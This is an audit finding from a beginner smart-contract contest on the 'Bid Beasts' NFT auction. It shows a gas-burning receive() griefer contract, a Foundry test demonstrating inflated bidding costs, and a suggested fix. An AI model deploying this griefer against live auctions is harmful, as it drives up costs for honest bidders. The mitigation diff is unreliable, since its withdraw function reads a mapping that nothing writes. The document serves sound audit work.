Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Elevated Gas Consumption from Malicious Refund Handlers Chases Legitimate Bidders Away

Elevated Gas Consumption from Malicious Refund Handlers Chases Legitimate Bidders Away

Description

Normal bidding refunds the previous bidder via a low-gas ETH transfer. Malicious previous bidders using gas-intensive receive functions consume excessive gas during the failed payout call, inflating costs for subsequent legitimate bidders without reverting the transaction.

if (previousBidder != address(0)) {
@>_payout(previousBidder, previousBidAmount);@>
}
function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
(bool success,) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}

Risk

Likelihood:

  • When a malicious contract places a bid and becomes the previous bidder.

  • During active auctions with multiple competitive bids.

Impact:

  • Increased transaction fees for outbidding users.

  • Reduced auction liquidity as bidders face unpredictable costs.

Proof of Concept

Deploys GasGriefer with gas-burning receive; measures gas for outbidding normal bidder vs. griefer, logging and asserting higher consumption in griefer case to show cost inflation.

// Add contract to test file
contract GasGriefer {
receive() external payable {
// Consume gas via infinite loop (bounded by call gas)
uint256 gasConsumed = gasleft();
while (gasleft() > gasConsumed / 2) {
// Burn gas
}
}
}
function testElevatedGasFromGriefer() public {
_mintNFT();
_listNFT();
// Normal first bid
vm.deal(BIDDER_1, MIN_PRICE + 1 ether);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
// Measure gas for normal outbid
uint256 normalGas;
vm.deal(BIDDER_2, MIN_PRICE + 2 ether);
vm.prank(BIDDER_2);
uint256 gasBefore = gasleft();
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
uint256 gasAfter = gasleft();
normalGas = gasBefore - gasAfter;
// Griefer places bid
GasGriefer griefer = new GasGriefer();
vm.deal(address(griefer), MIN_PRICE + 3 ether);
vm.prank(address(griefer));
market.placeBid{value: MIN_PRICE + 3 ether}(TOKEN_ID);
// Measure gas for outbid after griefer
uint256 grieferGas;
vm.deal(BIDDER_2, MIN_PRICE + 4 ether);
vm.prank(BIDDER_2);
uint256 grieferGasBefore = gasleft();
market.placeBid{value: MIN_PRICE + 4 ether}(TOKEN_ID);
uint256 grieferGasAfter = gasleft();
grieferGas = grieferGasBefore - grieferGasAfter;
// Assert higher gas with
console.log("Normal outbid gas:", normalGas);
console.log("Griefer outbid gas:", grieferGas);
assertGt(grieferGas, normalGas);
}

Recommended Mitigation

Shifts to pull-based refunds via failedTransferCredits accumulation in bidding/settlement, bypassing direct calls and eliminating gas griefing vectors.

function _payout(address recipient, uint256 amount) internal {
- if (amount == 0) return;
- (bool success,) = payable(recipient).call{value: amount}("");
- if (!success) {
- failedTransferCredits[recipient] += amount;
- }
+ if (amount > 0) {
+ failedTransferCredits[recipient] += amount;
+ }
}
+ function withdrawRefund() external {
+ uint256 amount = pendingRefunds[msg.sender];
+ require(amount > 0, "No refund");
+ pendingRefunds[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Transfer failed");
+ }
// Update placeBid and _executeSale to use pendingRefunds instead of _payout
if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
+ failedTransferCredits[previousBidder] += previousBidAmount;
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.